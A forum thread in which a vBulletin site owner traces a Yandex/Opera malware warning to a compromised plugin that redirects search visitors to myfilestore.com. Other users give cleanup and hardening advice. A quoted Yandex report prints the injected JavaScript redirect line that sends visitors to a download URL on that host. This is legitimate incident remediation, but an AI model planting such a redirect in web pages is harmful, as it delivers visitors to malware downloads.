Malicious site warning

[creative-friend]

When i open my forum in Opera. Malicious site warning has shown

Malicious site warning

This site may be hacked or contain malicious software. Visiting this page may be harmful.

Opera Software strongly discourages visiting this page.
Go back safely
Ignore this warning
Why was this page blocked?


Reported by Yandex
Our fraud reports are maintained by third-party vendors.

But Yandex show, "Your site doesn't have any violations"
How to remove this warning?
forum link: www.pakistanipoint.com

[Lynne]

google "yandex remove site from blacklist" and you should find your answer.

[creative-friend]

Originally Posted by Lynne

google "yandex remove site from blacklist" and you should find your answer.

I am working on it almost one week but could not find any malicious code. Now Yandex show my website contains malicious code. I try to scan forum from different malware scanner, all clear my forum.
May you suggest me any malware scanner for scanning?

[Kane@airrifle]

filestore72

Resources:
https://www.vbulletin.com/forum/foru...lestore72-info

https://clients.urljet.com/knowledge...version-2.html

https://clients.urljet.com/knowledge...e123-Hack.html

--------------- Added [DATE]1484422187[/DATE] at [TIME]1484422187[/TIME] ---------------

And also protect your admincp folder with a passworded htaccess....

[creative-friend]

Originally Posted by Kane@airrifle

filestore72

Resources:
https://www.vbulletin.com/forum/foru...lestore72-info

https://clients.urljet.com/knowledge...version-2.html

https://clients.urljet.com/knowledge...e123-Hack.html

--------------- Added [DATE]1484422187[/DATE] at [TIME]1484422187[/TIME] ---------------

And also protect your admincp folder with a passworded htaccess....

my forum is not hacked or not redirect to filestore72 etc
its work fine.
all browser/scanner show my forum clean except Yandex.
Opera also use database of Yandex, So these two browsers detect a malware on forum and i'm unable to find that due to which code/file opera/yendex show malware

[z3r0]

Originally Posted by creative-friend

my forum is not hacked or not redirect to filestore72 etc
its work fine.
all browser/scanner show my forum clean except Yandex.
Opera also use database of Yandex, So these two browsers detect a malware on forum and i'm unable to find that due to which code/file opera/yendex show malware

You are, I just got redirected to myfilestore dot com when testing coming to your site from a google search.

[Kane@airrifle]

Originally Posted by creative-friend

my forum is not hacked or not redirect to filestore72 etc
its work fine.
all browser/scanner show my forum clean except Yandex.
Opera also use database of Yandex, So these two browsers detect a malware on forum and i'm unable to find that due to which code/file opera/yendex show malware

Best way to test is a site search from a browser in incognito/private mode and not logged in to your forum. Try it, pick any of the returned links and you will be redirected to filestore for that session. I did this on Opera, Firefox, Chrome and Brave and all returned the redirect.

You need to start by buttoning down your admincp folder with a htaccess password. Then follow the guides as provided in my previous post.

[creative-friend]

Originally Posted by Kane@airrifle

Best way to test is a site search from a browser in incognito/private mode and not logged in to your forum. Try it, pick any of the returned links and you will be redirected to filestore for that session. I did this on Opera, Firefox, Chrome and Brave and all returned the redirect.

You need to start by buttoning down your admincp folder with a htaccess password. Then follow the guides as provided in my previous post.

Originally Posted by z3r0

You are, I just got redirected to myfilestore dot com when testing coming to your site from a google search.

thank you so much

--------------- Added [DATE]1484626252[/DATE] at [TIME]1484626252[/TIME] ---------------

I have found infected plugin by manually checking of all plugin.

Product: VBulletin
Hook location: parse_templates
Title: AME - Display Don't Auto Convert Option
Code: See attached txt file

--------------- Added [DATE]1484627008[/DATE] at [TIME]1484627008[/TIME] ---------------

Now i disable this plugin, but how it will be completely remove???
delete this plugin or only remove code

Yandex support also identified this mistake

The following malicious code appears at your site from time to time:

document.location='http://myfilestore.com/download.php?id=ed4d0ec3'

when the following URL is loaded:

http://www.pakistanipoint.com/misc.p...22&js=js123456

Please, check your files and remove the malicious code.

[TheLastSuperman]

Originally Posted by creative-friend

thank you so much

--------------- Added [DATE]1484626252[/DATE] at [TIME]1484626252[/TIME] ---------------

I have found infected plugin by manually checking of all plugin.

Product: VBulletin
Hook location: parse_templates
Title: AME - Display Don't Auto Convert Option
Code: See attached txt for code


--------------- Added [DATE]1484627008[/DATE] at [TIME]1484627008[/TIME] ---------------

Now i disable this plugin, but how it will be completely remove???
delete this plugin or only remove code

Yandex support also identified this mistake

Remove the code shown in Red then save the plugin, afterwards save the plugin display order (when it shows list of plugins scroll to bottom and hit save).
**Edit - Code to remove is marked by [Remove This Code] in attached file.

[creative-friend]

Originally Posted by TheLastSuperman

afterwards save the plugin display order (when it shows list of plugins scroll to bottom and hit save).

Thank you so much sir

I cannot find how to save plugin display order